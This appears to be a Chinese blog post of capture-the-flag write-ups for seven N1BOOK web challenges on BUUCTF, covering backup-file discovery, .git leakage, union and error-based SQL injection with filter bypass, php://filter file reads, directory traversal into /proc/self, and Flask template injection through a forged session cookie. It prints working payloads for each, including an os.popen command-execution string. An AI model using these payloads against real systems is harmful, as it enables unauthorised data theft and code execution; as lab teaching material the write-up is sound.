前言:

BUU的N1BOOK系列是我从未接触过的一个系列,鉴于被BUU的WEB搞崩心态,换个类型,换个心情OωO。
解了一道题发现是和《从0到1 CTFer成长之路》合作的题目,这样也不错,对新手来说是很平滑的学习路线。
2021.9.22 阴转晴

1.[第一章 web入门]常见的搜集

《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l.com
题目
打开环境,提示:敏感文件
科普一波 常见的敏感文件:

1、gedit备份文件,格式为filename~,比如index.php~
2、vim备份文件,格式为.filename.swp或者*.swo或者*.swn,比如.index.php.swp
3、robots.txt

通过一个个访问目录也可以得到flag。
这里推荐工具:御剑(这里类似的扫描路径的软件也可以)PS:此时我的Mac一点也不香了,因为我不想开虚拟机。
其实工具dirsearch也是可以的,但是依靠字典(我们日常的CTF里面总也有些奇奇怪怪的文件不在字典里面)
最后经过我辛苦的一番操作,可以得到以下三个路径返回正常robots.txt index.php~ .index.php.swp

1.访问robots.txt看看,发现可一个命名为:/flag1_is_her3_fun.txt的文件,访问看看。

User-agent: *
Disallow:
/flag1_is_her3_fun.txt

直接拿到flag的一半???
访问txt文件直接拿到一半flag

flag1:n1book{info_1

那剩下一半flag在哪里???我不猜,我让工具替我猜。
2.这里我们访问index.php~的时候发现了字符串:

flag2:s_v3ry_im

但是这个拼接起来少个反括号,说明还有!
3.访问扫描出来的最后一个路径:.index.php.swp
最后一段flag

flag3:p0rtant_hack}

拼接起来:

flag:n1book{info_1s_v3ry_imp0rtant_hack}

看来BUU和《从0到1 CTFer成长之路》合作了,那么后续再给自己挖个大坑,记录相关的知识点,今晚试水先解一道题。

未完待续!

2.[第一章 web入门]粗心的小李

看看能不能找到信息吧?
粗心的小李
解题关键点:如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
题目中提示是Git测试,此时我们可以使用GitHack脚本对其进行测试。
下载地址:GitHack
在GitHub上下载源码的压缩包后解压,然后打开终端:(这里需要python2才行)
运行成功
这时候打开GitHack路径中新增的文件夹(也就是输入的域名)里面有一个index.html,点开它(用浏览器打开)
拿到flag
题目很简单,考察点是Git泄露的危险,但是这些知识点没有学习路线,零碎学的不用就又会忘记,这里我打算单独再开个分支,归纳《从0到1 CTFer成长之路》中的知识点,希望大家做题前后都去反复看看,不要为了做题而做题,不要为了刷flag而刷flag。

3.[第一章 web入门]SQL注入-1

翻译成中文直接看
巴拉巴拉看完了说了一大堆,没什么特别的,做WEB题纪律性的操作过一遍,发现网站的URL:

/index.php?id=1

(1)寻找注入点

?id=1' and 1=2 页面出现错误,说明存在注入点 id

(2)测试有几个回显
  ?id=1’ order by 3 --+ 页面正常
正常

?id=1’ order by 4 --+ 页面报错,说明存在2,3两个回显

(3)开始查库查表查字段

1.查库名:
payload:?id=-1' union select 1,database(),3 --+

截屏2021-09-22 下午11.42.46.png

回显说数据库名就是 note
2.查表名:
?id=-1' union select 1,database(),table_name from information_schema
.tables where table_schema='note' limit 0,1 --+

?id=-1' union select 1,database(),table_name from information_schema
.tables where table_schema='note' limit 1,1 --+
发现这边只有两个表,一个是fl4g,一个是notes
3.相比之下 fl4g 更有可能,查一下它的字段:
payload:?id=-1' union select 1,database(), group_concat(column_name) from
information_schema.columns where table_name='fl4g' --+

fllllag

4.查询字段:
payload:?id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+

拿下flag,这道题就是SQL语句的练习与判断,可以去看看我的BUU-WEB的SQL注入的相关题目,后期我会单独开文章单独讲,这里就不再赘述。
成功
注:对payload填写无感或者对这些库,表,字段没有概念的,建议使用:Sqlmap,我后期会跟进文章。

4.[第一章 web入门]SQL注入-2

403
题目提示:请访问 /login.php /user.php
login.php
纪律性:进入页面后习惯性地查看源代码发现有一行注释提示,告诉我们:可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到:
网页源码注释提示
这里为了解题方便,就不用HackBar了,这里用Burp Suite:
1.先关闭拦截 2.输入一个用户名和密码 3.打开拦截 4.点击登录 5.发送到Repeater 6.添加:?tips=1 7.send
错误回显
用dual进行测试:

name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)--+&pass=xxxx
(密码写啥都行,因为前面注释掉密码了)

错误回显
根据报错的提示我们可以发现是select被过滤了,尝试一下大小写绕过:

name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1' and 1=2 --+

成功得到正常回显:
回显成功

开始注入:
1.查表名:
要看fl4g的字段,把之前的两个地方改为group_concat(column_name)和information_schema.columns where table_name=‘fl4g’,整理payload:

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from
information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+

1
2.查看字段获取flag:
payload:

name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+

2

flag:n1book{login_sqli_is_nice}

题目原理:

  1.有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入
  2.updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数
  3.dual用于测试数据库是否可以正常使用

5.[第一章 web入门]afr_1

开环境
发现后面传了参数:?p=hello
这是在提示一个东西:任意文件读取,本道题的考点是php伪协议
解题:
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
(1)原理
   PHP向用户提供的指定待打开文件的方式,是一个文件流
   PHP的Filter机制,可对目前的协议进行一定的处理,比如将当前文件流的内容进行Base64编码。使用方法

php://filter/read=convert.base64-encode/resource=xxx

   利用Filter机制,构造形如以上的攻击数据可以读取文件,拿到各种文件的源码
(2)通用payload:

通用格式:
http://127.0.0.1/cmd.php?file=php://filter/convert.base64-encode/resource=cmd

(3)本题payload:

http://b339945d-9f9c-46ea-8640-710e084edfd7.node4.buuoj.cn:81/
?p=php://filter/convert.base64-encode/resource=flag

(4)将得到的base64进行解码:

编码:PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
明文:<?php
    die('no no no');
    //n1book{afr_1_solved}

截屏2021-09-23 下午1.00.44.png
写在最后:关于PHP伪协议我会单独开一篇文章单独讲(又给自己挖坑),如果后面我忘了,记得打醒我......

6.[第一章 web入门]afr_2

辣眼睛
为什么要辣我眼睛???命题人夜路警告!!!看不下去了速速解题!!!
纪律性的检查一遍,发现源码里这个动图在/img文件夹下面,进去看看。
目录
看到这里还是有点懵,目录穿越看看上层文件,在网址输入:/img../
目录穿越
看到flag文件,点击发现下载下来一个文件。
flag
emmmm,好无聊,就这么结束了。

7.[第一章 web入门]afr_3

猜猜这道题目考查什么点?
随便输入一个admin,点击进去又是一个链接:
THIS IS A SAMPLE ARTICLE!
观察URL,有一个name参数,思路在这里就断了,但是由于我有《从0到1 CTFer成长之路》这本书,于是我就翻了一下发现有一个章节的知识点(如果有书请翻看:P39-1.3.2文件读取漏洞常见读取路径)在Linux系统中,服务器信息(绝对路径)中有一个/proc目录
关于/proc目录:
通常存储着进程动态进行的各种信息,本质上是一种虚拟目录。注意:如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。

1.对应目录下的cmdline可读出比较敏感的信息,如使用mysql -uxxx -pxxxx登录MySQl,会在cmdline中显示明文密码:
/proc/[pid]/cmdline     ([pid]指向进程所对应的终端命令)
2.有时候我们无法获取当前应用所在的目录,通过cwd命令可以直接跳转到当前目录:
/proc/[pid]/cwd/        ([pid]指向进程的运行目录)
3.环境变量中可能存在secret_key,这时也可以通过environ进行读取:
/proc/[pid]/environ     ([pid]指向进程运行时的环境变量)

所以综上所述利用这个name参数获取当前执行系统命令:

payload:URL/article?name=../../../../../proc/self/cmdline

得到python server.py,然后查看server.py的源代码:

payload:URL/article?name=../../../../../proc/self/cwd/server.py

可以看到有个flag.py和key.py
在flag.py中应该是存在flag,但是不能查看

if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session['n1code'] is not None:
 template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template) 

可以看到这里存在ssti,可以用flask的session伪造获取flag
这里偷懒没有自己伪造,这里直接就用了别人的:

{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()
[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}

关于伪造session我之前WEB也有提到,具体方法:第20题
key.py

#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'

伪造:

./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': 
'{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\']
.popen(\'cat flag.py\').read()}}'}"

伪造结果:
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPlj
NjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-
vTkpKpV1BcrHygP.YU0sHg.kzXojXHR6PsJpJip6F_P9OjasbE
修改Session:(1.Hackbar 2.Burp Suite)
先在终端上运行一波:flask_session_cookie_manager3.py
拿到伪造session:
session
通过Repeater修改Cookie session并且send
拿到flag

最后修改:2021 年 09 月 24 日 09 : 43 AM
如果觉得这篇文章不错,不妨赏我碎银几两。